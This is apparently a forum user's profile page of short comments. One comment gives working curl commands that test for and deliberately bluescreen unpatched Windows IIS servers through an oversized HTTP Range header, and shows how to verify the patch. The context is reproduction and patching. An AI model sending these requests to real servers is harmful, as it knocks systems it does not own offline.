Satchelmouth
Joined 11 years ago
Karma
10
Submissions
8
Member since
Apr 15
Recent submissions
Comment · 8 years ago
Thank you
Comment · 9 years ago
Port 22, best spoiler.
Comment · 10 years ago
Woah! To clarify, when digging up filler for the Hescos, PMN was present in the area the filler was taken from and thus made their way into the Hescos?
Comment · 10 years ago
Agreed on Kenji. Searching for Kenji + name of dish you need a recipe for is the pro-est of pro-tips.
Comment · 11 years ago
Well, I don't personally have a problem with Al-Jazeera. In the "editorial interference from the government" tables, Al-Jazeera makes an appearance but it is far, far below RT.
Comment · 11 years ago
You have a point however I just wanted to point out that RT is a very poor example to use.
Comment · 11 years ago
I can confirm on Windows 2K8R2 and 2K12, with Kernel Caching enabled (as per default IIS settings) and without any Kernel Caching rules, that I can reproduce the issue using the cURL method.
Steps to reproduce.
Check server is vulnerable curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"
You should see a Error 416.
Force crash curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615" --and/or-- curl -v http://blah.com/images/blah.jpg -H "Range: bytes=40-18446744073709551615"
Note above: You have to specifically address a file AND use byte range 40 or 100 in my setup to make it bluescreen.
After Patching - Check Vulnerability curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"
Response: Error 400: The request has an invalid header name
After Patching - Force Crash Test
curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615"
Response: 206 Partial Content
Hope that helps.
Comment · 11 years ago
Confirmed: I couldn't force a BS using the originally supplied range numbers, but changing it as per above to 100 did the trick (windows 2008 non R2 & 2012 R2)